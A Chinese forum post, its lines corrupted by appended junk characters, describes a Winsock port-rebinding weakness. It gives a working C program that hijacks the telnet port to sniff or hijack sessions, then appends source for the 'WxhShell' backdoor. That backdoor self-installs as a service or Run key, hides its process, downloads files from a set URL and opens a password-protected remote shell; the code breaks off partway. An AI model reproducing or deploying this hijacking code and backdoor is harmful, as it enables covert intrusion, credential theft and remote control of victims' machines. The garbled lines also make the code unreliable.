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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y{I[}$k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~'QeN%qadP  
n9fA!Wic  
  saddr.sin_family = AF_INET; fy>And*  
bok 74U]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r5da/*G/O  
z/&a\`DsU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N z3%}6F:  
*[~o~e/YCb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qq7X ",s  
\ jXN*A  
  这意味着什么?意味着可以进行如下的攻击: !v4j`A;%  
=*:_swd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !"x7re  
#iU8hUbo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?r E]s!K  
ig _<kj;Vd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OPt;G,$ta  
IgR"eu U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J[Yg]6  
CC(*zrOd-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S{(p<%)[  
q(tG bhQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h 4.=sbzZ  
 ; zE5(3x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #!u51P1  
$EGRaps{j>  
  #include V]kGcS}  
  #include fDEu%fUYZ  
  #include }Wche/g`  
  #include    3) c K*8#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PWN'.HQ  
  int main() ;, v L  
  { m_Ac/ct f  
  WORD wVersionRequested; zPh\3B  
  DWORD ret; TFYTvUn  
  WSADATA wsaData; LUDJPIk  
  BOOL val; |~b R.IA  
  SOCKADDR_IN saddr; DMcxa.Sd!  
  SOCKADDR_IN scaddr; [kuVQ$)  
  int err; YyJ{  
  SOCKET s; Z'*Z@u3  
  SOCKET sc; 7kX$wQZ_  
  int caddsize; YaNH.$.:  
  HANDLE mt; #W%)$k c  
  DWORD tid;   L}jF#*Q%  
  wVersionRequested = MAKEWORD( 2, 2 ); vG<pc_ak  
  err = WSAStartup( wVersionRequested, &wsaData ); UUMdZ+7  
  if ( err != 0 ) { 1^f.5@tV  
  printf("error!WSAStartup failed!\n"); uJam $V  
  return -1; ~l*?D7[o  
  } hUT^V(  
  saddr.sin_family = AF_INET; z1'FmwT  
   ~@4ZV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6%\Q*r*N  
l /png:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MYhx'[4[3  
  saddr.sin_port = htons(23); xBRh !w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {`H<=h__  
  { M9s43XL(&  
  printf("error!socket failed!\n"); I' ! r  
  return -1; $~,}yh;  
  } Gl8&FrR  
  val = TRUE; O%JsUKV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EwD3d0udL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `kNi*I^  
  { )o9Q5Lq  
  printf("error!setsockopt failed!\n"); :K^gu%,&$  
  return -1; v"~Do+*+  
  } "<w2v'6S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M. )}e7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^6a S]t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 * K,hrpYR  
$' (QTEM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ) Kc%8hBv  
  { @ 2!C^}d3F  
  ret=GetLastError(); JS/M~8+Et  
  printf("error!bind failed!\n"); cZgMA8 F  
  return -1; ,]Ro',A&  
  } 2<'`^AO@  
  listen(s,2); p`:*mf  
  while(1) ;n} >C' :  
  { Gg9VS&VI  
  caddsize = sizeof(scaddr); oe!:|ck<  
  //接受连接请求 {4: -0itG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fimb]C I|x  
  if(sc!=INVALID_SOCKET) ,jRcl!n`  
  { 3a#PA4Ql  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wy{\/?~c  
  if(mt==NULL) )d +hZ'  
  { U!c]_q  
  printf("Thread Creat Failed!\n"); a#+>w5  
  break; B f5&}2u  
  } b4Cfd?'  
  } d /B'[Ur  
  CloseHandle(mt); _)KY  
  } dh^+l;!L  
  closesocket(s); IV{FH&t^T"  
  WSACleanup(); [dj5 $l|  
  return 0; k]?z~p  
  }   rQ    
  DWORD WINAPI ClientThread(LPVOID lpParam) %M{k.FE(  
  { Mlv<r=E  
  SOCKET ss = (SOCKET)lpParam; )?w&oIj5  
  SOCKET sc; g .x=pt  
  unsigned char buf[4096]; 2yN%~C?$  
  SOCKADDR_IN saddr; 2wx!Lpr<i_  
  long num; P</s)"@  
  DWORD val; _+ twq i  
  DWORD ret; 60GFVF]'2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {~"7vkc+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {r={#mO;p  
  saddr.sin_family = AF_INET; E@w[&#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'h-3V8m^e  
  saddr.sin_port = htons(23); J=UZ){c>:.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d5DP^u  
  { $]@O/[  
  printf("error!socket failed!\n"); gbm0H-A:*  
  return -1; }B y)y;~  
  } Y4mC_4EU  
  val = 100; [E>R.Oe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fO].e"}  
  { ]7a;jNQu  
  ret = GetLastError(); [6D>f?z  
  return -1; FU%~9NKX  
  } GR,J0LT   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?75\>NiR  
  { dQ:?<zZ  
  ret = GetLastError(); K7IyCcdB  
  return -1; Kb}MF9?:e  
  } K~c^*;F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6Wj@r!u  
  { JE0?@PI$  
  printf("error!socket connect failed!\n"); x6LjcRS|  
  closesocket(sc); KNy`Lj)VPY  
  closesocket(ss); [?-]PZ  
  return -1; ;}LJh8_  
  } RfKc{V  
  while(1) `f@{Vcr% i  
  { HOE2*4r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ibvJWg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {G]?{c)"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Qi_&aU$>lM  
  num = recv(ss,buf,4096,0); {  |s/]W  
  if(num>0) >):m-I  
  send(sc,buf,num,0); mA& =q_gS  
  else if(num==0) W. ^Ei\w/t  
  break; Cz_AJ-WR  
  num = recv(sc,buf,4096,0); X E 9)c   
  if(num>0) 2s 7mI'  
  send(ss,buf,num,0); e1Ob!N-  
  else if(num==0) MRQZIi  
  break; M Hg6PQIB  
  } huz86CO  
  closesocket(ss); T?>E{1pS  
  closesocket(sc); PdT83vOCE  
  return 0 ; 5O&d3;p'  
  } dY8(nQG  
_R)&k%i}  
q0Xoj__c!A  
========================================================== _z q)0\  
1!!\+ c2*  
下边附上一个代码,,WXhSHELL J{d(1gSZ  
?0{yq>fTu  
========================================================== c15r':.5  
"3SWO3-x  
#include "stdafx.h" O}QFq14<+  
Rp0|zP,5  
#include <stdio.h> +P|2m"UA  
#include <string.h> ~ FGe ~  
#include <windows.h> D}w<84qX  
#include <winsock2.h> Km,*)X.-5  
#include <winsvc.h> W2`.RF^  
#include <urlmon.h> 7F9;Su3.  
`)$`-Pw*  
#pragma comment (lib, "Ws2_32.lib") nTs/Q  V  
#pragma comment (lib, "urlmon.lib") ?4 qkDtm  
c5("-xB  
#define MAX_USER   100 // 最大客户端连接数 lV\lj@  
#define BUF_SOCK   200 // sock buffer l4KbTKm7  
#define KEY_BUFF   255 // 输入 buffer Gg|M+M?+  
~Q?!W0ZBE  
#define REBOOT     0   // 重启 bj}=8k0  
#define SHUTDOWN   1   // 关机 EWA;L?g|A  
77*qkKr  
#define DEF_PORT   5000 // 监听端口 MLV:U  
=NZ[${7mq  
#define REG_LEN     16   // 注册表键长度 zI^Da!r.  
#define SVC_LEN     80   // NT服务名长度 yxwWj>c  
&Yf",KcL*I  
// 从dll定义API 3;-^YG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'z5h3J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bd5+/G=m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A2NF<ZsD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EY=FDlV  
o>F*Itr{  
// wxhshell配置信息 RPH1''*!  
struct WSCFG { "ZT.k5Z  
  int ws_port;         // 监听端口 Hm fXe  
  char ws_passstr[REG_LEN]; // 口令 jJBnDxsA  
  int ws_autoins;       // 安装标记, 1=yes 0=no R* 9NR,C  
  char ws_regname[REG_LEN]; // 注册表键名 (PRBS\*G  
  char ws_svcname[REG_LEN]; // 服务名 )DT|(^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m!O;>D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yfEb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J#Z5^)$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +@<KC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bu3T/m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mI7~c;~  
eEl.. y  
}; c*;7yh&%  
3A,rHYS  
// default Wxhshell configuration P`jL]x  
struct WSCFG wscfg={DEF_PORT, s+Q;pRZW{  
    "xuhuanlingzhe", aY)2eY  
    1, i ev>9j  
    "Wxhshell", 9o0!m Cq  
    "Wxhshell", WKl+{e  
            "WxhShell Service", B$vr'U   
    "Wrsky Windows CmdShell Service", T9syo/(  
    "Please Input Your Password: ", S~NM\[S  
  1, + G;LX'B  
  "http://www.wrsky.com/wxhshell.exe", z0bJ?~w,  
  "Wxhshell.exe" XK A pLz  
    }; G7@ O`N8'  
F|+W.9  
// 消息定义模块 P0Z! ?`e=M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j1-,Sqi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q_p[k KH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ymN!-x8q>'  
char *msg_ws_ext="\n\rExit."; {9LWUCpsf  
char *msg_ws_end="\n\rQuit."; O+~ 7l?o  
char *msg_ws_boot="\n\rReboot..."; ]zfG~^.  
char *msg_ws_poff="\n\rShutdown..."; v [njdP  
char *msg_ws_down="\n\rSave to "; 89~ =eY  
# 1.YKo  
char *msg_ws_err="\n\rErr!"; EME.h&A\G`  
char *msg_ws_ok="\n\rOK!"; %rkk>m  
ihCIh6  
char ExeFile[MAX_PATH]; Te,$M3|  
int nUser = 0; iK()&TNz  
HANDLE handles[MAX_USER]; [I;^^#'P  
int OsIsNt; >~nF=   
eH%RNtP`  
SERVICE_STATUS       serviceStatus;  #^#HuDH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; od' /%  
Tr&M~Lgb)  
// 函数声明 tBATZ0nK`Q  
int Install(void); 1O/ g&u  
int Uninstall(void); g'$tj&Vk:  
int DownloadFile(char *sURL, SOCKET wsh); lB91An  
int Boot(int flag); Zw1U@5}A  
void HideProc(void); O$u"/cwe*  
int GetOsVer(void); I@#;nyAj"  
int Wxhshell(SOCKET wsl); ;)AfB#:d  
void TalkWithClient(void *cs); ^' M>r (t  
int CmdShell(SOCKET sock); ufV!+$C)is  
int StartFromService(void); cD|Htt"  
int StartWxhshell(LPSTR lpCmdLine); <[:o !$  
@%ip7Y]e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :Y,BdU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G q<X4C#|  
`Z"Q^  
// 数据结构和表定义 }Z-Z|G)#  
SERVICE_TABLE_ENTRY DispatchTable[] = s*/bi W  
{ _5 ^I.5Z3  
{wscfg.ws_svcname, NTServiceMain}, e=vsuqGT  
{NULL, NULL} gD`>Twa&6  
}; {--0 z3n>  
u9+kLepOT  
// 自我安装 L|-98]8>  
int Install(void) 'y]\-T  
{ (" ~ DJ=  
  char svExeFile[MAX_PATH]; m %;D  
  HKEY key; (;Y8pKl1e  
  strcpy(svExeFile,ExeFile); )SryDRT  
ML;*e"$  
// 如果是win9x系统,修改注册表设为自启动 7 >iU1zy  
if(!OsIsNt) { 'r1LSht'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #U8rO;$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~x#w<0e>  
  RegCloseKey(key); p G1WXbqW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4P^6oh0"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QrO\jAZ{Ag  
  RegCloseKey(key); akw,P$i  
  return 0; 1f",}qe;  
    } _@S`5;4x  
  } ~{sG| ;/!*  
} 6T 8!xyi-+  
else { V%$/#sza  
!*- >;:9B  
// 如果是NT以上系统,安装为系统服务 `Al;vVMRO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qC F5~;7  
if (schSCManager!=0) ^B8b%'\  
{ iq( )8nxi  
  SC_HANDLE schService = CreateService U9b?i$  
  ( ODZ|bN0>  
  schSCManager,  V#VN %{  
  wscfg.ws_svcname, quY:pqG38q  
  wscfg.ws_svcdisp, \&U>LwZd?  
  SERVICE_ALL_ACCESS, N F)~W#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;a:[8Yi  
  SERVICE_AUTO_START, RKPO#qju\F  
  SERVICE_ERROR_NORMAL, 2-Y<4'>  
  svExeFile, .\>v0Du  
  NULL, Sa2>`":d  
  NULL, I? ,>DHUX  
  NULL, x.S3Zi}=  
  NULL, p K0"%eA  
  NULL P.gb 1$7<  
  ); 98^V4maR:  
  if (schService!=0) 7uzk p&+:  
  { 6gc>X%d`K  
  CloseServiceHandle(schService); -Uml_/rd_  
  CloseServiceHandle(schSCManager); (o`{uj{!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4?B\O`sy.  
  strcat(svExeFile,wscfg.ws_svcname); eJg8,7WC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3Z1CWzq(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bve.C  
  RegCloseKey(key); O%bEB g  
  return 0; p, #o<W  
    } B_.%i+ZZ  
  } eio 4k-  
  CloseServiceHandle(schSCManager); `nu''B H  
} @;"|@!l|  
} WlU0:(d  
A}l3cP; `#  
return 1; 7Op>i,HZk\  
} lnjXD oVb<  
PUUwv_  
// 自我卸载 ?` ?)QE8  
int Uninstall(void) ~sh`r{0  
{ PpzP7  
  HKEY key; x7Yu I  
~A\GT$  
if(!OsIsNt) { ?{[ v+t#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {e 14[0U-  
  RegDeleteValue(key,wscfg.ws_regname); .6Pw|xu`Pw  
  RegCloseKey(key); h'{ C[d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iUN Ib  
  RegDeleteValue(key,wscfg.ws_regname); F'21jy&  
  RegCloseKey(key); p^w;kN  
  return 0; *_d7E   
  } /V'A%2Cl=T  
} xA$XT[D  
} "]} bFO7C  
else { eceP0x  
ZQV6xoN;r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MDnua  
if (schSCManager!=0) ds<2I,t  
{ 9dx/hFA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;@oN s-  
  if (schService!=0) 8.O8No:'&  
  { b0Ps5G\ u  
  if(DeleteService(schService)!=0) { cQ R]le %(  
  CloseServiceHandle(schService); \"P%`  C  
  CloseServiceHandle(schSCManager); rC^WPW  
  return 0; rX2.i7i,  
  } "ut39si  
  CloseServiceHandle(schService); \!.B+7t=I  
  } 9y"@(  
  CloseServiceHandle(schSCManager); inMA:x}cF1  
} 1~NT.tY  
} ek*rp`y]  
rlOAo`hd  
return 1; D2Kp|F;  
} 286jI7T  
iP ->S\  
// 从指定url下载文件 MP Y[X[  
int DownloadFile(char *sURL, SOCKET wsh) #lL^?|M  
{ 8e1UmM[  
  HRESULT hr; 6d<r= C=  
char seps[]= "/"; kTOzSiq  
char *token; }C"%p8=HM  
char *file; 2DrP"iGq5  
char myURL[MAX_PATH]; Z>k#n'm^z  
char myFILE[MAX_PATH]; g}k`o!q  
iL-(O;n  
strcpy(myURL,sURL); <lPm1/8  
  token=strtok(myURL,seps); y.mda:$~=  
  while(token!=NULL) 0d)M\lG  
  { ) j#`r/  
    file=token; PR#exm&  
  token=strtok(NULL,seps); P64PPbP  
  } :^6y7&o[  
KOk4^#h@  
GetCurrentDirectory(MAX_PATH,myFILE); l *(8i ^  
strcat(myFILE, "\\"); &R'c.  
strcat(myFILE, file); c<B/V0]  
  send(wsh,myFILE,strlen(myFILE),0); & p  
send(wsh,"...",3,0); qd ~BnR$=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8Z8gRcv{p  
  if(hr==S_OK) 24 'J  
return 0; t6 "%3#s  
else _YhES-Ff  
return 1; ^eY!U%.  
M6 "PX *K  
} RLjc&WhzXu  
f643#1  
// 系统电源模块 zZPO&akB"  
int Boot(int flag) KxJ!,F{>H  
{ pK>N-/?a  
  HANDLE hToken; EHJ.T~X  
  TOKEN_PRIVILEGES tkp; O3,jg |,  
iHM%iUV  
  if(OsIsNt) { I3L<[-ZE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gh]cXuph  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {UI+$/v#  
    tkp.PrivilegeCount = 1; V+Y%v.F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2*& ^v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UcHJR"M~c  
if(flag==REBOOT) { 03X1d-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6P l<'3&  
  return 0; q"lSZ; 'E  
} \';gvr|  
else { +Mb.:_7'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N#_H6TfMG  
  return 0;  +SU8 +w  
} m=:9+z  
  } d7;um<%zn  
  else { BL }\D;+t  
if(flag==REBOOT) { H/ HMm{4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )m T<MkP  
  return 0; ""G'rN_=Bi  
} p8O2Z? \  
else { @Cyvf5|bL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FDs>m #e  
  return 0; <iC(`J$D  
} ! n@KU!&k  
} |0b`fOS  
Xl#ggub?  
return 1; )7Wf@@R'F  
} !*N@ZL&X  
]w8(&,PP  
// win9x进程隐藏模块 hMO=#up&  
void HideProc(void) Ow,w$0(D  
{ yR{3!{r3(  
~B?y{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dR,fXQm  
  if ( hKernel != NULL ) ;4|15S  
  { *^ZV8c}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]{@-HTt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aEeodA<(  
    FreeLibrary(hKernel);  ZBp/sm  
  } hHnYtq  
7Ak6,BuI%  
return; ggR.4&<  
} ?Z/V~,  
igPX#$0XU  
// 获取操作系统版本 ](8[}CeL  
int GetOsVer(void) 8<Av@9 *}  
{ fuySN!s  
  OSVERSIONINFO winfo; ^<2p~h0 \  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NC(~l  
  GetVersionEx(&winfo); 4|DWOQ':  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kt:! 7  
  return 1; eeB{c.#  
  else %Q|Atgp  
  return 0; (f"4,b^]  
} 1=V-V<  
L4nYXW0y  
// 客户端句柄模块 SwMc pNo  
int Wxhshell(SOCKET wsl) $xN|5;+  
{ Y$@?.)tY  
  SOCKET wsh; S"H2 7  
  struct sockaddr_in client; KbeC"mi  
  DWORD myID; /%^#8<=|U  
a&? :P1$  
  while(nUser<MAX_USER) >4CbwwMA  
{ PEZ!n.'S  
  int nSize=sizeof(client); 5r ^(P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "^GGac.  
  if(wsh==INVALID_SOCKET) return 1; F:S}w   
0</);g}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uwGc@xOgg,  
if(handles[nUser]==0) VI *$em O0  
  closesocket(wsh); k!Y, 63V=  
else DN6Mo<H  
  nUser++; 9hyn`u.  
  } 4o5t#qP5$S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lr pM\}t  
c7H^$_^=  
  return 0; ZbKg~jdF  
} 'LDQgC*%  
G 01ON0  
// 关闭 socket q!@4~plz  
void CloseIt(SOCKET wsh) =Dj#gV  
{ 6_B]MN!(  
closesocket(wsh); 2&cT~ZX&'  
nUser--; "#g}ve,  
ExitThread(0); 1_G^w qk  
} CWKm(@"5  
gjlx~.0d  
// 客户端请求句柄 apn*,7ps65  
void TalkWithClient(void *cs) {M)Nnst"~  
{ );YDtGip J  
6 !bsM"F  
  SOCKET wsh=(SOCKET)cs; x4O~q0>:Le  
  char pwd[SVC_LEN]; m]&SNz=  
  char cmd[KEY_BUFF]; E{vbO/|kf  
char chr[1]; -Lg Ei3m  
int i,j; l U]nd[x  
qxc[M8s  
  while (nUser < MAX_USER) { qe\5m.k  
7xR\kL.,  
if(wscfg.ws_passstr) { NxILRKwO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |V(0GB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GLODVcjf  
  //ZeroMemory(pwd,KEY_BUFF); Dt1jW  
      i=0; cz$2R  
  while(i<SVC_LEN) { zT{ VE+=  
6S{l' !s'  
  // 设置超时 |':{lH6+1  
  fd_set FdRead;  0+8e,  
  struct timeval TimeOut; nr#|b`J]  
  FD_ZERO(&FdRead); !n%j)`0M  
  FD_SET(wsh,&FdRead); pK4)yu+  
  TimeOut.tv_sec=8; [N'h%1]\  
  TimeOut.tv_usec=0; R@2X3s:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1 TXioDs=_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y)<q /  
v` r:=K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V~ _>U}  
  pwd=chr[0]; & nK<:^n  
  if(chr[0]==0xd || chr[0]==0xa) { dF2RH)Ud  
  pwd=0; {c0`Um3&>  
  break;  AOx[  
  } 6MI8zRX  
  i++; @j/&m]6%-D  
    } i@'dH3-kO  
K,UMqAmk  
  // 如果是非法用户,关闭 socket !_(Tqyg&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3 gf1ownC  
} 54qFfN8O  
`y0FY&y=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FgO)DQm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M^I(OuRMeI  
aQ~s`^D  
while(1) { I}Q2Vu<  
~)'k 9?0  
  ZeroMemory(cmd,KEY_BUFF); +/\6=).\  
u=yOu^={  
      // 自动支持客户端 telnet标准   QSj]ZA  
  j=0; :Q q#Z  
  while(j<KEY_BUFF) { wNX]7wMX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0BsYavCR  
  cmd[j]=chr[0]; B-ESFATc  
  if(chr[0]==0xa || chr[0]==0xd) { 9>$p  
  cmd[j]=0; Dhv3jg;lq  
  break; T 1t6p&  
  } U ;I9 bK8  
  j++; YoE3<[KD(  
    } U<-D(J  
L8n|m!MOD  
  // 下载文件 Ct|A:/z(  
  if(strstr(cmd,"http://")) { Er[A X.3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6@Y|"b  
  if(DownloadFile(cmd,wsh)) ?hM64jI|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Ds=)S" K  
  else :i7;w%B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &~w}_Fjk  
  } \C1nZk?3  
  else { D3A/l  
u2[w#   
    switch(cmd[0]) { #D|p2L$  
  39jG8zr=Z[  
  // 帮助 %%wNZ{  
  case '?': { G#1GXFDO{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .x1NWGDn  
    break; v9UD%@tZ  
  } -!9G0h&i|  
  // 安装 M#[{>6>iE  
  case 'i': { -`t^7pr  
    if(Install()) 2Hv+W-6v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ctJE+1#PH  
    else 4Z,!zFS$`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  RX5dO%  
    break; +'w3 =2Bo  
    } ?0,Ngrbe  
  // 卸载 V470C@  
  case 'r': { I`p;F!s  
    if(Uninstall()) YrKWA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :a)u&g@G  
    else tRfo$4#NY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 Vrw  
    break; /FJu)H..U  
    } tnG# IU *  
  // 显示 wxhshell 所在路径 k@:%:Sj 2  
  case 'p': { w1DV\Ap*  
    char svExeFile[MAX_PATH]; 0K2`-mL  
    strcpy(svExeFile,"\n\r"); bY0|N[ g  
      strcat(svExeFile,ExeFile); jalg5`PU0  
        send(wsh,svExeFile,strlen(svExeFile),0); baK$L;Xo:  
    break; &JI8]JmU)  
    } C73 kJa  
  // 重启 <A'$%`6m  
  case 'b': { UZsH9 o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d<N:[Y\4l  
    if(Boot(REBOOT)) zI<<Q2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,WB{i^TD  
    else { u-5{U-^_  
    closesocket(wsh); Q)[C?obd v  
    ExitThread(0); <3hRyG@vB  
    } H+Sz=tg5  
    break; 7x4PaX(  
    } ,Vk3kmuvr]  
  // 关机 NPe%F+X  
  case 'd': { \)?HJ  
